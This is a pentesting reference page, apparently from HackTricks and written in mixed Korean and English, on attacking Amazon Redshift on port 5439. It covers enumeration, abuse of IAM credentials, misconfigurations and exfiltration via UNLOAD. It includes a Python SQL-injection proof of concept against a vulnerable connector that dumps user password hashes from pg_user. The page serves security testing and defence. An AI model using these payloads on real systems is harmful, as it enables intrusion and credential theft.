5439 - Pentesting Redshift

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

이 포트는 Amazon Redshift (AWS 관리형 데이터 웨어하우스)에서 사용됩니다. Redshift의 wire 프로토콜은 약간 수정된 PostgreSQL 프로토콜이기 때문에 대부분의 Postgres 클라이언트 툴(psql, psycopg2, JDBC/ODBC)이 동작하지만 auth 및 TLS 요구사항은 다릅니다.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

열거 및 연결

  • Default port: 5439/TCP (customizable). Serverless workgroups also default to 5439.
  • 공개 엔드포인트 패턴: <clusterid>.<random>.<region>.redshift.amazonaws.com (public) or .redshift.amazonaws.com.cn (China). Serverless: <workgroup>.<random>.<region>.redshift-serverless.amazonaws.com.
  • TLS: Redshift는 TLS 1.2+와 perfect-forward-secrecy 암호를 요구합니다. 오래된 클라이언트는 실패할 수 있으므로 최신 TLS를 강제하세요:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl controls if plaintext is allowed. New clusters/workgroups use default.redshift-2.0 with require_ssl=true, so downgrade/mitm is harder.

psql로 빠른 열거

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

에러가 잘못된 비밀번호와 존재하지 않는 사용자를 구분하면 → 무차별 대입 중 잠재적 username enumeration.

Authentication paths to test

  • Database password for master user (often named awsuser) or created DB users.
  • IAM auth tokens: generate short-lived credentials and connect via libpq/JDBC/ODBC using sslmode=require and authMech=IAM or plugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Abuse stolen IAM creds/roles with rds-db:connect style permission equivalent for Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins: JDBC plugin_name may spin up local webserver for SSO; captured loopback callback can leak SAML assertion or temp creds.

Common misconfigurations (network)

  • Cluster marked PubliclyAccessible=true with wide-open SG (0.0.0.0/0) exposes Postgres-like surface for brute force or SQLi exploitation.
  • Default port 5439 plus default SG allows easy discovery (Shodan/Censys). 포트 변경은 보안 모호성(obscurity)에 불과하지만 하드닝 체크리스트에서 종종 간과됩니다.
  • No enhanced VPC routing → COPY/UNLOAD가 퍼블릭 Internet을 통해 이동; 공격자가 S3 버킷/엔드포인트를 제어할 경우 exfil에 악용 가능.

Attack notes

  • If login succeeds, Redshift lacks superuser in serverless; in provisioned clusters the master user has broad rights including creating UDFs (Python), external schema to Spectrum, COPY from attacker S3, and UNLOAD to exfil data.
  • Check cluster parameter group for max_concurrency_scaling_clusters, require_ssl, enable_user_activity_logging – logging disabled aids stealth.
  • Serverless workgroups still reachable via TCP; same SQL attack surface as provisioned clusters.
  • Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 build metadata queries with unquoted user input in getSchemas/getTables/getColumns (CVE-2024-12744/5/6). 애플리케이션이 catalog 또는 pattern 인자를 공격자에게 제어하게 허용하면, 커넥터로 사용되는 DB 사용자 권한으로 임의의 SQL을 주입하여 실행할 수 있습니다.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change: Python UDFs stop working June 30, 2026; only Lambda UDFs allowed after. Offensive impact: legacy provisioned clusters still run Python UDFs for in-cluster code exec (no FS/network). Lambda UDFs move code to Lambda where the IAM role may reach Internet/VPC endpoints for SSRF/pivot but with no direct cluster filesystem access. 오래된 Python UDFs가 활성화된 클러스터를 찾아내면 여전히 RCE 프리미티브를 얻을 수 있습니다.

Recent security changes (offense impact)

  • Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). 기존(legacy) 클러스터는 여전히 public일 수 있음.
  • Encryption at rest + enforced TLS by default 때문에 스니핑/mitm이 더 어렵고; 유효한 자격증명이나 VPC 경로로의 SSRF가 필요합니다.
  • Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints는 생성 시 최대 3개 AZ에 생성됩니다. 탐지 도구는 도달 가능한 IP를 찾기 위해 AZ별로 모든 workgroup VPCE DNS 이름을 열거해야 합니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기